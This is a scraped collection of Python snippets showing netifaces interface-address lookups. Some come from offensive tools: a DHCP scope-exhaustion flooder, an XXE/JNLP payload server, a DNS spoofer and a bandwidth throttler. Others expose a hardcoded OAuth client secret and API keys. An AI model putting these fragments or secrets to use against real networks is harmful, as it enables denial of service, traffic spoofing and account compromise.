        self.peer_public_ip = self.params.get("peer_public_ip", default="")
        self.peer_password = self.params.get("peer_password",
                                             '*',
                                             default="None")
        self.ipaddr = self.params.get("host_ip", default="")
        self.netmask = self.params.get("netmask", default="")
        local = LocalHost()
        self.timeout = "2m"
        self.session = Session(self.peer_ip,
                               user=self.peer_user,
                               password=self.peer_password)
        if not self.session.connect():
            self.cancel("failed connecting to peer")
        if self.iface[0:2] == 'ib':
            self.networkinterface = NetworkInterface(self.iface,
                                                     local,
                                                     if_type='Infiniband')
            try:
                self.networkinterface.add_ipaddr(self.ipaddr, self.netmask)
                self.networkinterface.save(self.ipaddr, self.netmask)
            except Exception:
                self.networkinterface.save(self.ipaddr, self.netmask)
        else:
            self.networkinterface = NetworkInterface(self.iface, local)
            try:
                self.networkinterface.add_ipaddr(self.ipaddr, self.netmask)
                self.networkinterface.save(self.ipaddr, self.netmask)
            except Exception:
                self.networkinterface.save(self.ipaddr, self.netmask)
        self.networkinterface.bring_up()
        if self.iface not in interfaces:
            self.cancel("%s interface is not available" % self.iface)
        if self.peer_ip == "":
            self.cancel("%s peer machine is not available" % self.peer_ip)
        self.local_ip = netifaces.ifaddresses(self.iface)[AF_INET][0]['addr']
        self.mtu = self.params.get("mtu", default=1500)
        self.remotehost = RemoteHost(self.peer_ip,
                                     self.peer_user,
                                     password=self.peer_password)
        self.peer_interface = self.remotehost.get_interface_by_ipaddr(
            self.peer_ip).name
        self.peer_networkinterface = NetworkInterface(self.peer_interface,
                                                      self.remotehost)
        self.remotehost_public = RemoteHost(self.peer_public_ip,
                                            self.peer_user,
                                            password=self.peer_password)
        self.peer_public_networkinterface = NetworkInterface(
            self.peer_interface, self.remotehost_public)

        if detected_distro.name == "Ubuntu":
            cmd = "service ufw stop"
        # FIXME: "redhat" as the distro name for RHEL is deprecated
        # on Avocado versions >= 50.0.  This is a temporary compatibility
        # enabler for older runners, but should be removed soon
        elif detected_distro.name in ['rhel', 'fedora', 'redhat']:
            cmd = "systemctl stop firewalld"
        elif detected_distro.name == "SuSE":
            if detected_distro.version == 15:
                cmd = "systemctl stop firewalld"
            else:
                cmd = "rcSuSEfirewall2 stop"
        elif detected_distro.name == "centos":
            cmd = "service iptables stop"
        else:
            self.cancel("Distro not supported")
        if process.system(cmd, ignore_status=True, shell=True) != 0:
            self.cancel("Unable to disable firewall")
        output = self.session.cmd(cmd)
        if not output.exit_status == 0:
            self.cancel("Unable to disable firewall on peer")
        if self.peer_networkinterface.set_mtu(self.mtu) is not None:
            self.fail("Failed to set mtu in peer")
        if self.networkinterface.set_mtu(self.mtu) is not None:
            self.fail("Failed to set mtu in host")
    def run(self):
        time.sleep(3)  #To let te server start before sending a request to it
        # Write the mobile API KEY to the DB
        with connection.cursor() as cursor:
            cursor.execute("DELETE FROM rest_framework_api_key_apikey")
            cursor.execute(
                "INSERT INTO rest_framework_api_key_apikey VALUES('1','','','mobile','ooXein0ZieZohfoh0phuCee0eeng6aomu6tei7le9eiHo4Fai0')"
            )
            cursor.execute(
                "INSERT INTO rest_framework_api_key_apikey VALUES('2','','','pi','a677abfcc88c8126deedd719202e50922')"
            )
        try:
            config_file = open('interface.config', 'r')
            interface = config_file.readline()
            interface = interface[:-1]
            config_file.close()
        except FileNotFoundError:
            interface = 'eth0'
        ni.ifaddresses(interface)
        ip = ni.ifaddresses(interface)[2][0]['addr']
        print('Local IP Address for ' + interface + ': ' + ip)

        Terminal.objects.all().delete()
        Ticket.objects.all().delete()
        Event.objects.all().delete()
        Auditorium.objects.all().delete()
        # Post to Gestion website our ip address
        while not self.sendIPtoGestionWebsite(ip):
            pass
        # Query Gestion website for the terminal list
        while not self.obtainTerminalsFromGestionWebsite(ip):
            pass

        # IF no terminal in DB Query Gestion website for ticketsList
        tickets = Ticket.objects.raw('SELECT * FROM api_ticket')
        terminals = Terminal.objects.raw(
            'SELECT * FROM api_terminal WHERE "status"="Connected"')

        for terminal in terminals:
            while self.sendIPtoPI(my_ip=ip, pi_ip=terminal.ipAddress):
                pass
        isMaster = False
        while len(list(tickets)) == 0:
            if len(list(terminals)) == 0 or isMaster:
                isMaster = True
                self.obtainTicketsFromGestionWebsite(ip)
            # Else Query first PI in the list for the tickets
            else:
                self.obtainTicketList(ipAddress=terminals[0].ipAddress)
            tickets = Ticket.objects.raw('SELECT * FROM api_ticket')
        main.have_receive_ticket = True
        print('System ready to perform')
        while True:
            if self.verifyEventIsClose(ip):
                print(
                    '======================================== Event is close ========================================'
                )
                print('Send log')
                self.sendValidationStats(ip)
                print('Done\nBack up DB')
                copyfile(
                    'gti525/db.sqlite3', 'gti525/db.backup.' +
                    datetime.now().strftime('%Y-%m-%d_%H:%M:%S') + '.sqlite3')
                with connection.cursor() as cursor:
                    cursor.execute("DELETE FROM api_mobilecommlog")
                print('Done')
                break
            else:
                time.sleep(10)
Example #39
0
def main():
    ap = ArgumentParser()
    g = ap.add_mutually_exclusive_group(required=True)
    g.add_argument("--iface",
                   "-i",
                   type=get_iface,
                   help="Interface name/index")
    g.add_argument("--list",
                   "-l",
                   action="store_true",
                   help="List available interfaces")

    ap.add_argument("--threads",
                    "-t",
                    type=int,
                    default=1,
                    help="Number of concurrent threads")
    ap.add_argument("--delay",
                    "-d",
                    type=float,
                    default=1.0,
                    help="Delay between messages per thread")
    ap.add_argument("--search",
                    "-s",
                    action="store_true",
                    help="Search ONLY (do not exhaust scopes)")
    args = ap.parse_args()

    if args.list:
        from pprint import pprint
        if WINDOWS:
            pprint(IFACES)
        else:
            import netifaces
            ifaces = netifaces.interfaces()
            fmt = "{:<7} {}"
            print(fmt.format("NAME", "IP ADDRESS"))
            for iface in ifaces:
                ifaddrs = netifaces.ifaddresses(iface)
                for idx in ifaddrs:
                    for ifaddr in ifaddrs[idx]:
                        if 0 < len(ifaddr.get("netmask", "")) < 16:
                            print(fmt.format(iface, ifaddr.get("addr")))
        return

    # Create a request queue for handler packets
    rq = None if args.search else Queue()

    # Create a packet handler thread for the desired interface and a queue for requests
    Handler(args.iface, rq).start()

    # Skip handling DHCP Offers for search-only
    if not args.search:
        # Create a thread that responds to Offers with Requests
        Requester(args.iface, rq).start()

    # Create discover threads (somewhat unnecessary, just decrease the delay)
    for _ in range(args.threads):
        Discover(args.iface, delay=args.delay).start()

    while True:
        get_stop_event().wait(0.1)
Example #40
0
    def on_submit(self, event, params, vars=None):
        # Edição de um cliente
        if params[0] == 'dlgEdit':
            if vars.getvalue('action', '') == 'OK':
                ip = vars.getvalue('ip', '')
                mac = vars.getvalue('mac', '')
                app = vars.getvalue('app', '')
                ret = backend.Config(self.app).saveMachine(ip, mac, app)
                #if not ret: ERROR

            self._editing = None

        # Adicionar uma faixa DHCP
        elif params[0] == 'addFaixa':
            if vars.getvalue('action', '') == 'OK':
                ip_inicial = vars.getvalue('inicial', '')
                ip_final = vars.getvalue('final', '')
                apps = vars.getvalue('apps')
                retRange, retAPPS = backend.Config(self.app).setRangeLTSP(
                    ip_inicial, ip_final, apps)

                if not retRange:
                    if ip_inicial.strip() <> '' and ip_final.strip() <> '':
                        self._msgError3 = 'Erro ao adicionar a faixa de IPs. '+\
                                          'A faixa adicionada não está na mesma '+\
                                          'faixa da rede do servidor.'

            self._editing = None
            self._tab = 1

        # Configurar a interface do Servidor
        elif params[0] == "interface":
            if vars.getvalue('action', '') == 'cadastrar_servidor':
                iface = vars.getvalue('iface', 'none')
                try:
                    ip = ni.ifaddresses(iface)[2][0]['addr']
                except:
                    ip = ''
                try:
                    masc = ni.ifaddresses(iface)[2][0]['netmask']
                except:
                    masc = ''

                ret = backend.Config(self.app).setServer(ip, masc, iface)
                if not ret:
                    self._msgError = 'A nova interface escolhida não está configurada.'+\
                                     'Vá primeiro ao módulo "Redes" e defina um IP e uma máscara.'
            self._tab = 0

        # Adicionar um cliente
        elif params[0] == "clientes":
            self._tab = 1
            if vars.getvalue('action', '') == 'addCliente':
                mac = vars.getvalue('clientMAC', 'none')
                ip = vars.getvalue('clientIP', 'none')
                app = vars.getvalue('clientAPP', 'none')
                ret = backend.Config(self.app).saveMachine(ip, mac, app)
                if not ret:
                    self._msgError2 = 'ERRO: ou o MAC é inválido ou o IP não está na mesma rede de seu servidor.'
                    return
        elif params[0] == "clientImage":
            if vars.getvalue('action', '') == 'criar_imagem':
                mirror = vars.getvalue('mirror', '')
                backend.Config(self.app).ltspBuildClient(mirror=mirror)
                self._tab = 2
        elif params[0] == 'info':
            self._tab = 3
            if vars.getvalue('action', '') == 'getInfoLTSP':
                self._infoLTSP = True
Example #41
0
from netifaces import interfaces, ifaddresses, AF_INET
for ifaceName in interfaces():
    addresses = [i['addr'] for i in ifaddresses(ifaceName).setdefault(AF_INET, [{'addr':'No IP addr'}] )]
    print('%s: %s' % (ifaceName, ', '.join(addresses)))
Example #42
0
#!/usr/bin/env python3
import netifaces
print(netifaces.interfaces())
for i in netifaces.interfaces():
    print('\n***********Details of Interface - ' + i + ' **********')
    try:
        print(netifaces.ifaddresses(i)[netifaces.AF_LINK][0]['addr'])
        print(netifaces.ifaddresses(i)[netifaces.AF_INET][0]['addr'])
    except:
        print('Could not collect adapter information')

Example #43
0
def get_iface_addr(iface='eth0',
                   inet_type='AF_INET',
                   inc_aliases=False,
                   fatal=True,
                   exc_list=None):
    """Return the assigned IP address for a given interface, if any.

    :param iface: network interface on which address(es) are expected to
                  be found.
    :param inet_type: inet address family
    :param inc_aliases: include alias interfaces in search
    :param fatal: if True, raise exception if address not found
    :param exc_list: list of addresses to ignore
    :return: list of ip addresses
    """
    # Extract nic if passed /dev/ethX
    if '/' in iface:
        iface = iface.split('/')[-1]

    if not exc_list:
        exc_list = []

    try:
        inet_num = getattr(netifaces, inet_type)
    except AttributeError:
        raise Exception("Unknown inet type '%s'" % str(inet_type))

    interfaces = netifaces.interfaces()
    if inc_aliases:
        ifaces = []
        for _iface in interfaces:
            if iface == _iface or _iface.split(':')[0] == iface:
                ifaces.append(_iface)

        if fatal and not ifaces:
            raise Exception("Invalid interface '%s'" % iface)

        ifaces.sort()
    else:
        if iface not in interfaces:
            if fatal:
                raise Exception("Interface '%s' not found " % (iface))
            else:
                return []

        else:
            ifaces = [iface]

    addresses = []
    for netiface in ifaces:
        net_info = netifaces.ifaddresses(netiface)
        if inet_num in net_info:
            for entry in net_info[inet_num]:
                if 'addr' in entry and entry['addr'] not in exc_list:
                    addresses.append(entry['addr'])

    if fatal and not addresses:
        raise Exception("Interface '%s' doesn't have any %s addresses." %
                        (iface, inet_type))

    return sorted(addresses)
Example #44
0
import docopt
import flask
import netifaces
import sys

app = flask.app.Flask(__name__)

options = docopt.docopt('''\
Serve static files using the Flask micro web framework.
Prerequities:
  sudo apt-get install -y python-flask python-setuptools python-dev curl
  sudo easy_install pip virtualenv docopt netifaces

Usage:
  {0}

Example client stuff:
  curl http://{1}:5000/foo.tar.gz -o foo.tar.gz
'''.format(sys.argv[0],
           netifaces.ifaddresses('eth0')[2][0]['addr']))


@app.route('/<filename>')
def hello_world(filename):
    app.logger.info(filename)
    return open(filename).read()


if __name__ == '__main__':
    app.run(host='0.0.0.0')
Example #45
0
                   help="clear all bandwidth limits")
group.add_argument("-g",
                   "--get",
                   action="store_true",
                   help="get all connected devices in LAN")

args = parser.parse_args()

# check if interface is specified and exist in PC
if args.device is None:
    parser.error("Please define an interface (--device <interface>)")
elif args.device not in netifaces.interfaces():
    parser.error("Invalid interface.")

# get ip address and netmask of device
device_interface = netifaces.ifaddresses(args.device)[netifaces.AF_INET][0]
ip_address = device_interface['addr']
netmask = netmask_to_cidr(device_interface['netmask'])

# validity check
if (args.show or args.clear or args.get) and (args.ip or args.download
                                              or args.upload):
    parser.error("-s, -c, -g are standalone arguments")
elif (args.show or args.clear or args.get) is False:
    if args.ip is None:
        parser.error(
            "Must include IP when throttling (0.0.0.0 for global throttling)")
    elif args.ip is not None:
        try:
            ip_network = ipaddress.ip_interface(args.ip + "/" +
                                                netmask).network
Example #46
0
def get_ipv6_address(ifname):
    return ifaddresses(get_ifname(ifname))[AF_INET6][0]['addr']
Example #47
0
def get_mac_address():
    try:
        return netifaces.ifaddresses('eth0')[netifaces.AF_LINK][0]['addr']
    except:
        return netifaces.ifaddresses('wlan0')[netifaces.AF_LINK][0]['addr']
Example #48
0
            0]
        sys.exit(1)

    file = sys.argv[1]

    # randomize incase we change payloads and browser caches
    path = "".join(choice(lowercase) for i in range(10))
    path += ".jnlp"

    # interfaces
    ints = ""
    for i in ni.interfaces():
        ints += "%s, " % i
    interface = raw_input("(+) select your interface: %s: " % ints[:-2])

    # get the ip from the interface
    try:
        ip = ni.ifaddresses(interface)[2][0]['addr']
    except:
        print "(-) no ip address associated with that interface!"
        sys.exit(1)
    print "jnlp://%s:9090/%s" % (ip, path)
    try:
        server = HTTPServer(('0.0.0.0', 9090), xxe)
        print '(+) starting xxe server...'
        print '(+) have someone with Java SE installed visit: http://%s:9090/' % ip
        server.serve_forever()

    except KeyboardInterrupt:
        print '(+) shutting down the web server'
        server.socket.close()
Example #49
0
import cgi
import cgitb; cgitb.enable()
import multiprocessing
import os
from timeit import Timer
import netifaces

ifaces_list = netifaces.interfaces()
ifaces = []
ifaces.append(ifaces_list[1])
ifaces.append(ifaces_list[2])
ifaces.append(ifaces_list[0])
ip = ''
for iface in ifaces:
    #prefer eth
    if str(iface).find("eth") > -1 and netifaces.ifaddresses(iface).has_key(2) == True:
        ip = netifaces.ifaddresses(iface)[2][0]["addr"]
        break        
    if str(iface).find("wlan") > -1 and netifaces.ifaddresses(iface).has_key(2) == True:
        ip = netifaces.ifaddresses(iface)[2][0]["addr"]
        break    
    if str(iface).find("lo") > -1:
        ip = netifaces.ifaddresses(iface)[2][0]["addr"]
        break
    
    
cpus_avail = str(multiprocessing.cpu_count())
log_dict = {}
tmp_log = open("input/tmp.log","r").readlines()
#lets put this in a dictionary
log_dict = {}
Example #50
0
def cleanup():
    print "Cleaning up the stuff for shutdown"
    print "Closing Socket"
    s.close()
    print "Socket closed\nStopping motors"
    StopMotors()
    print "Motors stopped\nStopping GPIO"
    GPIO.cleanup()
    print "GPIO stopped\nEverything cleaned up\nGoodbye"


atexit.register(cleanup)

s.bind(('', 20010))
os.system("clear")
ip = ni.ifaddresses('wlan0')[2][0]['addr']
print "Battlebot server ip: " + ip
print "Starting Battlebot Server"
print "Settings Servo's on neutral"
servo.set_pwm(8, 0, GetServoValue(0))
servo.set_pwm(9, 0, GetServoValue(0))

if (len(sys.argv) > 1):
    calalt = sys.argv[1]
    calacc = sys.argv[2]
    calmag = sys.argv[3]
    calgyro = sys.argv[4]
    caltemp = sys.argv[5]
else:
    calalt = True
    calacc = False
Example #51
0
# import socket
# import sys
import netifaces as ni
# # Create a TCP/IP socket
# sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

ni.ifaddresses('wlp6s0')
ip = ni.ifaddresses('wlp6s0')[ni.AF_INET][0]['addr']
print(ip)  # should print "192.168.100.37"
print(type(ip))  # should print "192.168.100.37"
# # Bind the socket to the port
# server_address = (ip, 8090)
# print (sys.stderr, 'starting up on %s port %s' % server_address)
# sock.bind(server_address)

# # Listen for incoming connections
# sock.listen(1)

# while True:
# 	# Wait for a connection
# 	print(sys.stderr, 'waiting for a connection')
# 	connection, client_address = sock.accept()
# 	try:
# 		print (sys.stderr, 'connection from', client_address)

# 		# Receive the data in small chunks and retransmit it
# 		while True:
# 			data = connection.recv(1024)
# 			print(sys.stderr, 'received "%s"' % data)
# 			if not data:
Example #52
0
def get_ip():
    try:
        return netifaces.ifaddresses('eth0')[netifaces.AF_INET][0]['addr']
    except:
        return netifaces.ifaddresses('wlan0')[netifaces.AF_INET][0]['addr']
Example #53
0
def transfer(current_image):
    HOST = ni.ifaddresses('wlan0')[ni.AF_INET][0]['addr']
    PORT = 6666
    cnt = 0
    connected_clients_sockets = []
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((HOST, PORT))
    server_socket.listen(10)
    connected_clients_sockets.append(server_socket)
    
    def recvall(sock, msgLen):
        msg = ""
        bytesRcvd = 0

        while bytesRcvd < msgLen:
            chunk = sock.recv(msgLen - bytesRcvd)

            if chunk == "": break
            bytesRcvd += len(chunk)
            msg += chunk

            if "\r\n" in msg: break
        return msg


    while True:
        if cnt == 1:
            break
        read_sockets, write_sockets, error_sockets = select.select(connected_clients_sockets, [], [])

        for sock in read_sockets:
            if sock == server_socket:
                sockfd, client_address = server_socket.accept()
                connected_clients_sockets.append(sockfd)

            else:
                try:
                    data = recvall(sock, 4096)

                    if data:
                        txt = data.strip()

                        if txt == 'Receive':
                            sock.sendall('Ok\r\n')

                        elif txt == 'Size':
                            with open(current_image, 'rb') as f:
                                file_size = len(f1.read())
                                f.seek(0)

                            file_size = '%s' % file_size
                            sock.sendall('Size %s\r\n' % file_size)

                        elif txt == 'image_data':
                            with open(current_image, 'rb') as f2:
                                image_data = f2.read()
                            msg = '%send_of_image\r\n' % image_data
                            sock.sendall(msg)

                        elif txt == 'Finished':
                            sock.close()
                            connected_clients_sockets.remove(sock)
                            cnt = cnt + 1
                except:
                    sock.close()
                    connected_clients_sockets.remove(sock)
                    continue
    server_socket.close()
# put the log file in /var/log                                                                                                                                                                              
c.JupyterHub.extra_log_file = '/var/log/jupyterhub.log'

# use GitHub OAuthenticator for local users                                                                                                                                                                 

c.JupyterHub.authenticator_class = 'oauthenticator.LocalGitHubOAuthenticator'
c.GitHubOAuthenticator.client_secret = '5362c66ccff1766756910fc6c506fba99623458c'
c.GitHubOAuthenticator.oauth_callback_url = 'https://appsvr.asrc.cestm.albany.edu/hub/oauth_callback'
c.GitHubOAuthenticator.client_id = 'e28b956b838b69ebffcf'

# create system users that don't exist yet                                                                                                                                                                  
c.LocalAuthenticator.create_system_users = True

# specify users and admin                                                                                                                                                                                   
c.Authenticator.whitelist = {'xcite', 'arnold', 'mark',"arnoldas500"}
c.Authenticator.admin_users = {'xcite', 'arnold', 'mark',"arnoldas500"}

from dockerspawner import DockerSpawner                                                                                                                                                                    \

c.JupyterHub.spawner_class = DockerSpawner                                                                                                                                                                 \

                                                                                                                                                                                                           \

# The Hub's API listens on localhost by default, # but docker containers can't see that.                                                                                                                    
# Tell the Hub to listen on its docker network:                                                                                                                                                             
import netifaces
docker0 = netifaces.ifaddresses('docker0')
docker0_ipv4 = docker0[netifaces.AF_INET][0]
c.JupyterHub.hub_ip = docker0_ipv4['addr']

Example #55
0
import subprocess
import netifaces as ni
import re
import multiprocessing
from multiprocessing import Process, Queue
import os
import time
import fileinput
import atexit
import sys
import socket
import requests

##Change me if needed

myip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']

dirs = "/root/Desktop/"

##Stop changing shit here

start = time.time()


class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
Example #56
0
    print args

    if args.f is not None:
        f = open(args.f, 'r')
        for line in f:
            line = line.split()
            if len(line) != 2:
                continue
            hosts[line[1].strip()] = line[0].strip()

        f.close()
    print(hosts)

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    except socket.error, msg:
        print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
        sys.exit()

    if args.i is None:
        my_ip = ni.ifaddresses(conf.iface)[2][0]['addr']
    else:
        my_ip = my_ip = ni.ifaddresses(args.i)[2][0]['addr']


    sniff(iface=args.i, filter=args.expression, prn=dns_spoof, lfilter=lambda x: x.haslayer(DNSQR))


if __name__ == "__main__":
    main()
Example #57
0
 def _master_networks_gen(cls, ifaces):
     for iface in ifaces:
         iface_data = netifaces.ifaddresses(iface)
         if netifaces.AF_LINK in iface_data:
             yield netifaces.ifaddresses(iface)[netifaces.AF_LINK]
Example #58
0
#!/usr/bin/env python3

import netifaces

print(netifaces.interfaces())

for i in netifaces.interfaces():
    print('\n********Details of Interface - ' + i + ' ************')
    try:
        print((netifaces.ifaddresses(i)[netifaces.AF_LINK]
               )[0]['addr'])  # Prints the MAC address
        print((netifaces.ifaddresses(i)[netifaces.AF_INET]
               )[0]['addr'])  # Prints the IP address
    except:
        print()  # Print an error message
Example #59
0
 def showM(uItem):
     curM = netifaces.ifaddresses(uItem)
     try:
         ui.label_curent_MAC.setText(curM[netifaces.AF_LINK][0]['addr'])
     except KeyError:
         ui.label_curent_MAC.setText('No MAC available for ' + uItem)
def get_ipv6_address(interface):
    """ Return the ip address of the specified interface """
    return netifaces.ifaddresses(interface)[netifaces.AF_INET6][0]['addr']